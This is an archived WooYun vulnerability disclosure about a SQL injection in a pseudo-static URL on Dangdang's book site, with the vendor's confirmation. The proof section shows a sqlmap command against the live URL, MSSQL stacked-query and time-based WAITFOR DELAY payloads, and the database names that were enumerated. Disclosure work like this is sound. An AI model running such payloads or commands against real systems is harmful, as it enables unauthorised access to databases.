当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-035090

漏洞标题:当当网某站存在一处隐蔽的伪静态SQL注入(有可能导致信息泄露)

相关厂商:当当网

漏洞作者: PgHook

提交时间:2013-08-23 15:16

修复时间:2013-10-07 15:17

公开时间:2013-10-07 15:17

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-23: 细节已通知厂商并且等待厂商处理中
2013-08-26: 厂商已经确认,细节仅向厂商公开
2013-09-05: 细节向核心白帽子及相关领域专家公开
2013-09-15: 细节向普通白帽子公开
2013-09-25: 细节向实习白帽子公开
2013-10-07: 细节向公众公开

简要描述:

在厂商漏洞列表里,看见当当还木有注入漏洞。
这个不科学呀!小菜来试试手气如何,还算勉勉强强啊!

详细说明:

漏洞页面:
http://book.dangdang.com/list/hotReview_C01.1*.htm
这应该是属于伪静态注入吧!

漏洞证明:

D:\sqlmap>python sqlmap.py -u book.dangdang.com/list/hotReview_C01.1*.htm --dbs
--threads 10
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:36:29
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[14:36:31] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:36:31] [INFO] testing connection to the target url
[14:36:31] [INFO] heuristics detected web page charset 'None'
sqlmap got a 302 redirect to 'http://book.dangdang.com:80/list/404.php'. Do you
want to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: http://book.dangdang.com:80/list/hotReview_C01.1'; WAITFOR DELAY '0
:0:5'--.htm
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: http://book.dangdang.com:80/list/hotReview_C01.1' WAITFOR DELAY '0:
0:5'--.htm
---
[14:36:33] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: PHP 5.2.10, Nginx
back-end DBMS: Microsoft SQL Server 2008
[14:36:33] [INFO] fetching database names
[14:36:33] [INFO] fetching number of databases
[14:36:33] [INFO] resumed: 9
[14:36:33] [INFO] resumed: audio
[14:36:33] [INFO] resumed: bang
[14:36:33] [INFO] resumed: books
[14:36:33] [INFO] resumed: child
[14:36:33] [INFO] resumed: ddscm
[14:36:33] [INFO] resumed: master
[14:36:33] [INFO] resumed: model\x11\x11
[14:36:33] [INFO] resumed: msdb
[14:36:33] [INFO] resumed: tempdb
available databases [9]:
[*] [model]
[*] audio
[*] bang
[*] books
[*] child
[*] ddscm
[*] master
[*] msdb
[*] tempdb
[14:36:33] [INFO] fetched data logged to text files under 'D:\sqlmap\output\book
.dangdang.com'
[*] shutting down at 14:36:33
D:\sqlmap>

aaa1.jpg


木有进一步了,实在是不想等了,太痛苦了。
如果有点什么礼物的话,可能小菜会更有激情的哦!

修复方案:

。。。。。。。。。。。

版权声明:转载请注明来源 PgHook@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-08-26 10:02

厂商回复:

由于是同样的漏洞,为了避免刷分嫌疑,所以给10。
PS:我是先处理的之后的漏洞。其实第一个应该是15,第二个应该给10

最新状态:

暂无